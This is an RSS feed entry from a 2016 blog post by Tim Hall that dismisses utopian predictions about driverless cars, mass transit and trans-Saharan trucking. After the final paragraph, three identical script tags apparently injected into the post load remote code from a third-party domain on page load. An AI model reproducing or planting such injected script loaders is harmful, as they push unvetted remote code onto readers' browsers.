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	<title>Where Worlds Collide &#187; Driverless Cars</title>
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		<title>Driverless Cars and Predicting the Future</title>
		<link>http://www.kalyr.co.uk/weblog/railways/transport/driverless-cars-and-predicting-the-future/</link>
		<comments>http://www.kalyr.co.uk/weblog/railways/transport/driverless-cars-and-predicting-the-future/#comments</comments>
		<pubDate>Thu, 07 Jan 2016 19:09:34 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Travel & Transport]]></category>
		<category><![CDATA[Ayn Rand]]></category>
		<category><![CDATA[Driverless Cars]]></category>
		<category><![CDATA[Silicon Valley]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=14436</guid>
		<description><![CDATA[There is a lot of hype about driverless cars swirling around the interwebs at the moment, but this piece of pseudo-utopian nonsense is ridiculous by any standards. <a href="http://www.kalyr.co.uk/weblog/railways/transport/driverless-cars-and-predicting-the-future/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>There is a lot of hype about driverless cars swirling around the interwebs at the moment, but <a href="http://sanfrancisco.cbslocal.com/2015/01/27/how-ubers-autonomous-cars-will-destroy-10-million-jobs-and-reshape-the-economy-by-2025-lyft-google-zack-kanter/" target="_blank">this piece of pseudo-utopian nonsense</a> is ridiculous by any standards.</p>
<p>When he simultaneously talks about wholesale destruction of industries employing millions of people while declaring it&#8217;s a great time to be alive, it really does speak volumes about the combination of utopianism and sociopathy that Silicon Valley is notorious for. He does come over as someone who&#8217;s read way too much Ayn Rand.</p>
<p>For starters, the idea that driverless cars will make existing mass-transit obsolete and &#8220;<i>release the prime real-estate occupied by bus stations for other purposes</i>&#8221; suggests the author has not experienced any kind of urban environment other than the low-density suburban sprawls typical of much of North America.</p>
<p>The truth is that nobody really knows how soon this technology will be mature enough for widespread adoption, and what sort of economic impact it might have. We&#8217;ve had the technology for fully-automated trains for almost half a century now, but it&#8217;s not been adopted beyond a very small number of closed systems. Perhaps the evangelists for self-driving cars ought to investigate why?</p>
<p>Predictions of the future when potentially disruptive new technologies emerge usually turn out to be wrong.</p>
<p>The most ridiculous thing I&#8217;ve ever read on the subject has to be the idea that driverless vehicles will open up the industrialisation of sub-Saharan Africa through columns of automated trucks trundling across the Sahara delivering African-made goods to Europe. It never seemed to occur to them it would merely replicate what was feasible using 19<sup>th</sup> century technology in the shape of a railway. But no trans-Saharan railway has ever been built or seriously proposed, because there&#8217;s never been enough economic demand for one. It&#8217;s far easier to ship goods from Africa to to the nearest port and send it by sea.<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
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